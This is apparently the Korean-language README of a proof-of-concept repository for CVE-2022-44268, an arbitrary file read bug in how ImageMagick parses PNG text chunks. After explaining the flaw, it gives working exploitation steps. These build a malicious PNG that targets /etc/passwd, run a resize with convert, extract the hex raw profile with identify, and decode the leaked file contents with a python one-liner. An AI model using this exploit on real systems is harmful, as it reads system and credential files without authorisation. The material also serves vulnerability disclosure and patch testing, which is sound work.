
Imagemagick의 임의 파일 읽기 PoC
이 저장소는 널리 사용되는 오픈소스 이미지 조작 라이브러리인 ImageMagick (v. 7.1.0-49)의 취약점에 대한 개념 증명(POC)을 포함합니다. 이 취약점을 통해 공격자는 ImageMagick이 PNG 파일을 구문 분석할 때 크기가 조정된 이미지에 임의 파일의 콘텐츠를 포함시킬 수 있습니다.
ImageMagick이 PNG 파일에 크기 조정과 같은 작업을 수행할 때, magick 바이너리에 해당 파일을 읽는 데 필요한 권한이 있다면 시스템 파일의 콘텐츠가 포함될 수 있습니다. 이 취약점은 PNG 파일 내 텍스트 청크(textual chunks)를 잘못 처리하기 때문에 발생합니다.
악의적인 행위자는 PNG 파일을 제작하거나 기존 파일을 사용하여 텍스트 청크 유형(tEXt)을 추가함으로써 이 취약점을 악용할 수 있습니다. 이러한 청크는 키워드와 텍스트 문자열로 구성됩니다. 이 경우, 키워드가 문자열 "profile"(따옴표 제외)과 일치하면 ImageMagick은 뒤따르는 텍스트 문자열을 파일 이름으로 해석하고 해당 콘텐츠를 raw profile로 로드하려고 시도합니다. 결과적으로 크기가 조정된 이미지가 다운로드되면 공격자가 지정한 원격 파일의 콘텐츠가 포함됩니다.
자세한 내용은 MetabaseQ의 이 기사를 참조하십시오.
Imagemagick을 악용하려면 악성 png를 생성하십시오:
python3 CVE-2022-44268.py /etc/passwd # Create output.png
그런 다음 convert로 크기 조정 작업을 실행하십시오:
convert output.png -resize 50% leak.png
마지막으로, 유출된 이미지를 검사하고 Raw profile을 hex로 변환하십시오:
identify -verbose leak.png
# ...
Raw profile type:
2367
726f6f743a783a303a303a726f6f743a2f726f6f743a2f6269 [...]
python -c "print(bytes.fromhex('726f6f743a783a303a303a726f6f743a2f726f6f743a2f6269 [...]'))"
참고: 이 POC는 교육 및 정보 제공 목적으로만 제공됩니다. 이 POC를 테스트하거나 사용하기 전에 해당 시스템에 대한 필요한 권한과 법적 승인을 확보했는지 확인하십시오.